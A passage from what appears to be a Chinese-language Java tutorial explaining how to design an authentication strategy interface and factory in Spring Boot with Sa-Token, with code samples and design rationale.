class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.strategy;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.AuthRequest;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证策略接口</span></span><br><span class="line"><span class="comment"> * 所有登录方式都必须实现这个接口</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * 设计理念：</span></span><br><span class="line"><span class="comment"> * 1. 统一规范：所有登录方式都遵循同一套接口</span></span><br><span class="line"><span class="comment"> * 2. 策略模式：将每种登录方式封装为一个独立的策略类</span></span><br><span class="line"><span class="comment"> * 3. 职责单一：策略类只负责验证身份，返回用户 ID</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 执行认证</span></span><br><span class="line"><span class="comment">     * 这是策略模式的核心方法，每个策略类都必须实现</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * 职责边界：</span></span><br><span class="line"><span class="comment">     * - 策略类只负责验证身份（查询用户、验证密码/验证码等）</span></span><br><span class="line"><span class="comment">     * - 策略类不负责生成 Token（由 Sa-Token 负责）</span></span><br><span class="line"><span class="comment">     * - 策略类不负责管理会话（由 Sa-Token 负责）</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 认证请求（多态参数）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 用户 ID（用于 Sa-Token 登录）</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> RuntimeException 如果认证失败</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取支持的认证类型</span></span><br><span class="line"><span class="comment">     * 用于工厂类根据类型选择对应的策略</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 认证类型枚举</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    AuthType <span class="title function_">getSupportedType</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点解析</strong></p><p><strong>设计点一：为什么返回 <code>Long</code> 而不是 <code>AuthToken</code>？</strong></p><p>这是本接口最关键的设计决策。让我们对比两种设计方案：</p><p><strong>方案 A：策略类返回 <code>AuthToken</code>（不推荐）</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    AuthToken <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实现类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthStrategy</span> <span class="keyword">implements</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthToken <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 验证身份</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByUsername(username);</span><br><span class="line">        <span class="comment">// 2. 生成 Token</span></span><br><span class="line">        StpUtil.login(user.getId());</span><br><span class="line">        <span class="comment">// 3. 返回 Token</span></span><br><span class="line">        <span class="keyword">return</span> AuthToken.builder()</span><br><span class="line">            .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种设计的问题：</p><ul><li>❌ 策略类职责过重：既要验证身份，又要生成 Token</li><li>❌ 代码重复：每个策略类都要写一遍 <code>StpUtil.login()</code> 和构建 <code>AuthToken</code> 的代码</li><li>❌ 难以测试：测试策略类时，必须模拟 Sa-Token 的行为</li></ul><p><strong>方案 B：策略类返回 <code>Long</code>（推荐）</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实现类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthStrategy</span> <span class="keyword">implements</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 只负责验证身份</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByUsername(username);</span><br><span class="line">        <span class="comment">// 返回用户 ID</span></span><br><span class="line">        <span class="keyword">return</span> user.getId();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 工厂类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthStrategyFactory</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> AuthTokenVO <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 选择策略</span></span><br><span class="line">        <span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> getStrategy(request.getAuthType());</span><br><span class="line">        <span class="comment">// 2. 执行认证，获取用户 ID</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> strategy.authenticate(request);</span><br><span class="line">        <span class="comment">// 3. Sa-Token 登录</span></span><br><span class="line">        StpUtil.login(userId);</span><br><span class="line">        <span class="comment">// 4. 返回 Token</span></span><br><span class="line">        <span class="keyword">return</span> buildAuthToken(userId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种设计的优势：</p><ul><li>✅ 策略类职责单一：只负责验证身份</li><li>✅ 代码复用：Token 生成逻辑统一在工厂类中</li><li>✅ 易于测试：测试策略类时，只需要验证返回的用户 ID 是否正确</li></ul><p><strong>设计点二：为什么需要 <code>getSupportedType()</code> 方法？</strong></p><p>这个方法用于标识策略类支持的认证类型。工厂类在启动时会调用这个方法，将策略注册到 <code>Map&lt;AuthType, AuthStrategy&gt;</code> 中：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 工厂类的构造函数</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_">AuthStrategyFactory</span><span class="params">(List&lt;AuthStrategy&gt; strategies)</span> &#123;</span><br><span class="line">    <span class="keyword">for</span> (AuthStrategy strategy : strategies) &#123;</span><br><span class="line">        <span class="type">AuthType</span> <span class="variable">type</span> <span class="operator">=</span> strategy.getSupportedType();  <span class="comment">// 获取策略类型</span></span><br><span class="line">        strategyMap.put(type, strategy);              <span class="comment">// 注册到 Map</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样设计的好处是：</p><ul><li>✅ 自动注册：策略类只需要实现接口，工厂类会自动发现并注册</li><li>✅ 类型安全：使用枚举而非字符串，避免拼写错误</li></ul><p><strong>设计点三：authenticate 方法的参数是 <code>AuthRequest</code> 接口</strong></p><p>这是多态的体现。虽然参数类型是 <code>AuthRequest</code> 接口，但实际传入的是具体的实现类（如 <code>PasswordAuthRequest</code>）。</p><p>策略类内部需要将 <code>AuthRequest</code> 强制转换为具体的类型：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">    <span class="comment">// 强制转换为具体类型</span></span><br><span class="line">    <span class="type">PasswordAuthRequest</span> <span class="variable">passwordRequest</span> <span class="operator">=</span> (PasswordAuthRequest) request;</span><br><span class="line">    <span class="comment">// 使用具体类型的字段</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> passwordRequest.getUsername();</span><br><span class="line">    <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> passwordRequest.getPassword();</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个转换是安全的，因为工厂类会根据 <code>authType</code> 选择对应的策略。如果 <code>authType</code> 是 <code>PASSWORD</code>，工厂类一定会选择 <code>PasswordAuthStrategy</code>，而前端传来的请求一定是 <code>PasswordAuthRequest</code>。</p><hr><h3 id="19-2-5-3-策略接口的职责边界">19.2.5.3. 策略接口的职责边界</h3><p>在实现具体的策略类之前，我们需要明确策略接口的职责边界。这是避免代码混乱的关键。</p><p><strong>AuthStrategy 应该做什么？</strong></p><p>策略类只负责 “验证身份”，具体包括：</p><ul><li>✅ 验证用户名和密码</li><li>✅ 验证手机验证码</li><li>✅ 调用第三方 API 获取用户信息</li><li>✅ 查询或创建用户</li><li>✅ 返回用户 ID</li></ul><p><strong>AuthStrategy 不应该做什么？</strong></p><p>策略类不负责 “会话管理”，具体包括：</p><ul><li>❌ 不应该生成 Token（由 Sa-Token 负责）</li><li>❌ 不应该管理会话（由 Sa-Token 负责）</li><li>❌ 不应该处理 HTTP 请求和响应（由 Controller 负责）</li><li>❌ 不应该直接操作 Redis（应该通过 Sa-Token）</li></ul><hr><h3 id="19-2-5-4-策略模式与-Sa-Token-的协同关系">19.2.5.4. 策略模式与 Sa-Token 的协同关系</h3><p>现在让我们理解策略模式与 Sa-Token 是如何协同工作的。</p><p><strong>完整的认证流程</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. 前端发送登录请求 → Controller 接收</span><br><span class="line">2. Controller 委托给工厂类 → 工厂类根据 authType 选择策略</span><br><span class="line">3. 策略类验证身份 → 返回用户 ID</span><br><span class="line">4. 工厂类调用 Sa-Token 登录 → Sa-Token 生成 Token 并存入 Redis</span><br><span class="line">5. 工厂类构建响应对象 → 返回给前端</span><br></pre></td></tr></table></figure><p><strong>代码示例</strong></p><p>让我们用一个具体的例子来说明：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 步骤 1：策略类验证身份</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthStrategy</span> <span class="keyword">implements</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 查询用户</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByUsername(username);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 验证密码</span></span><br><span class="line">        <span class="keyword">if</span> (!BCrypt.checkpw(password, user.getPassword())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;密码错误&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 返回用户 ID（策略类的职责到此结束）</span></span><br><span class="line">        <span class="keyword">return</span> user.getId();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> AuthType <span class="title function_">getSupportedType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> AuthType.PASSWORD;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 步骤 2：工厂类调用 Sa-Token 登录</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthStrategyFactory</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> AuthTokenVO <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 选择策略</span></span><br><span class="line">        <span class="type">AuthStrategy</span> <span class="variable">strategy</span> <span class="operator">=</span> strategyMap.get(request.getAuthType());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 执行认证，获取用户 ID</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> strategy.authenticate(request);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. Sa-Token 登录（Sa-Token 的职责从这里开始）</span></span><br><span class="line">        StpUtil.login(userId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 返回 Token</span></span><br><span class="line">        <span class="keyword">return</span> AuthTokenVO.builder()</span><br><span class="line">            .tokenName(StpUtil.getTokenName())</span><br><span class="line">            .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">            .loginId(userId)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键设计点</strong></p><ul><li>策略类只返回 <code>userId</code>，不返回 <code>Token</code></li><li>工厂类负责调用 <code>StpUtil.login(userId)</code></li><li>Sa-Token 自动生成 Token 并存入 Redis</li><li>工厂类通过 <code>StpUtil.getTokenValue()</code> 获取 Token 值</li></ul><hr><h3 id="19-2-5-5-本节小结">19.2.5.5. 本节小结</h3><p>本节完成了认证策略接口的设计，定义了 <code>AuthStrategy</code> 接口，明确了策略类的职责边界。策略类只负责验证身份并返回用户 ID，Token 的生成和会话管理由 Sa-Token 负责，工厂类作为桥梁连接两者。</p><table><thead><tr><th style="text-align:left">要点</th><th style="text-align:left">何时使用</th><th style="text-align:left">关键动作</th></tr></thead><tbody><tr><td style="text-align:left">AuthStrategy 接口</td><td style="text-align:left">定义策略规范</td><td style="text-align:left">定义 authenticate() 和 getSupportedType() 方法</td></tr><tr><td style="text-align:left">返回 Long 而非 AuthToken</td><td style="text-align:left">保持职责单一</td><td style="text-align:left">策略类只返回用户 ID</td></tr><tr><td style="text-align:left">职责边界</td><td style="text-align:left">避免代码混乱</td><td style="text-align:left">策略类只负责验证身份，不负责生成 Token</td></tr></tbody></table><p>在下一节中，我们将实现认证策略工厂（<code>AuthStrategyFactory</code>），让它能够自动发现和注册所有策略，并根据 <code>authType</code> 自动选择对应的策略。</p><hr><h2 id="19-2-6-工厂实现：自动发现与策略分发">19.2.6. 工厂实现：自动发现与策略分发</h2><p>在上一节中，我们定义了 <code>AuthStrategy</code> 接口，明确了策略类的职责边界：策略类只负责验证身份并返回用户 ID。现在，我们需要实现认证策略工厂（<code>AuthStrategyFactory</code>），让它能够自动发现和注册所有策略，并根据 <code>authType</code> 自动选择对应的策略。</p><p>这一节是整个认证工厂的 <strong>“中枢神经”</strong>，它连接了策略类和 Sa-Token，是策略模式能够运转的核心。</p><hr><h3 id="19-2-6-1-工厂模式的核心职责">19.2.6.1. 工厂模式的核心职责</h3><p>在策略模式中，工厂类扮演着 “上下文（Context）” 的角色。它的核心职责有三个：</p><p><strong>职责一：策略管理</strong></p><p>工厂类需要维护一个 <code>Map&lt;AuthType, AuthStrategy&gt;</code>，用于存储所有策略的映射关系。</p><p><strong>职责二：自动发现</strong></p><p>工厂类需要在应用启动时，自动扫描所有实现了 <code>AuthStrategy</code> 接口的 Bean，并注册到 Map 中。Spring 会将所有标注了 <code>@Component</code> 的策略类打包成 <code>List&lt;AuthStrategy&gt;</code>，注入到工厂类的构造函数中。</p><p><strong>职责三：策略分发</strong></p><p>工厂类需要根据认证类型（<code>AuthType</code>），从 Map 中获取对应的策略，并委托策略执行认证。认证成功后，工厂类调用 Sa-Token 的 <code>StpUtil.login(userId)</code> 完成登录，并返回 Token 信息。</p><p><strong>工厂类的工作流程</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1. 应用启动 → Spring 扫描所有 @Component 标注的 AuthStrategy 实现类</span><br><span class="line">2. Spring 将这些 Bean 注入到工厂类的构造函数</span><br><span class="line">3. 工厂类遍历所有策略，调用 getSupportedType() 获取认证类型</span><br><span class="line">4. 工厂类将 AuthType 和 AuthStrategy 的映射关系存入 Map</span><br><span class="line">5. 前端发送登录请求 → Controller 调用工厂类的 authenticate 方法</span><br><span class="line">6. 工厂类根据 authType 从 Map 中获取对应的策略</span><br><span class="line">7. 工厂类委托策略执行认证，获取用户 ID</span><br><span class="line">8. 工厂类调用 StpUtil.login(userId) 完成登录</span><br><span class="line">9. 工厂类构建响应对象，返回 Token 信息</span><br></pre></td></tr></table></figure><hr><h3 id="19-2-6-2-定义统一响应对象（AuthTokenVO）">19.2.6.2. 定义统一响应对象（AuthTokenVO）</h3><p>在实现工厂类之前，我们需要先定义统一的响应对象。因为工厂类的 <code>authenticate</code> 方法会返回这个对象，所以必须先定义它。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/model/vo/AuthTokenVO.java</code>（新建）</p><p>在 <code>src/main/java/com/example/auth/model</code> 目录下，右键选择 <code>New</code> → <code>Package</code>，输入包名 <code>vo</code>，然后在 <code>vo</code> 包下新建 <code>AuthTokenVO.java</code> 文件：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.vo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Builder;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证响应对象</span></span><br><span class="line"><span class="comment"> * 包含 Sa-Token 生成的 Token 信息</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@Builder</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthTokenVO</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Token 名称</span></span><br><span class="line"><span class="comment">     * 对应 Sa-Token 配置中的 token-name（默认为 &quot;Authorization&quot;）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String tokenName;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Token 值</span></span><br><span class="line"><span class="comment">     * 前端需要在后续请求的 Header 中携带这个值</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String tokenValue;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户 ID</span></span><br><span class="line"><span class="comment">     * 用于前端展示或其他业务逻辑</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Long loginId;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>设计要点</strong></p><p>这个响应对象包含三个字段：</p><ul><li><code>tokenName</code>：Token 的名称，对应 Sa-Token 配置中的 <code>token-name</code>（默认为 <code>&quot;Authorization&quot;</code>）</li><li><code>tokenValue</code>：Token 的值，前端需要在后续请求的 Header 中携带这个值</li><li><code>loginId</code>：用户 ID，用于前端展示或其他业务逻辑</li></ul><p>前端收到这个响应后，需要将 <code>tokenValue</code> 存储到本地（如 LocalStorage），并在后续请求的 Header 中携带：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 前端示例</span></span><br><span class="line"><span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="string">&#x27;/auth/login&#x27;</span>, &#123;</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">  <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123;<span class="attr">authType</span>: <span class="string">&#x27;PASSWORD&#x27;</span>, <span class="attr">username</span>: <span class="string">&#x27;admin&#x27;</span>, <span class="attr">password</span>: <span class="string">&#x27;123456&#x27;</span>&#125;)</span><br><span class="line">&#125;);</span><br><span class="line"><span class="keyword">const</span> data = <span class="keyword">await</span> response.<span class="title function_">json</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 存储 Token</span></span><br><span class="line"><span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>(<span class="string">&#x27;token&#x27;</span>, data.<span class="property">tokenValue</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 后续请求携带 Token</span></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;/api/user/info&#x27;</span>, &#123;</span><br><span class="line">  <span class="attr">headers</span>: &#123;</span><br><span class="line">    <span class="string">&#x27;Authorization&#x27;</span>: <span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;token&#x27;</span>)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><hr><h3 id="19-2-6-3-实现-AuthStrategyFactory">19.2.6.3. 实现 AuthStrategyFactory</h3><p>现在我们开始实现认证策略工厂。</p><p><strong>📄 文件</strong>：<code>src/main/java/com/example/auth/factory/AuthStrategyFactory.java</code>（新建）</p><p>在 <code>src/main/java/com/example/auth</code> 目录下，右键选择 <code>New</code> → <code>Package</code>，输入包名 <code>factory</code>，然后在 <code>factory</code> 包下新建 <code>AuthStrategyFactory.java</code> 文件：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.factory;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpUtil;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.AuthRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.vo.AuthTokenVO;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.strategy.AuthStrategy;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 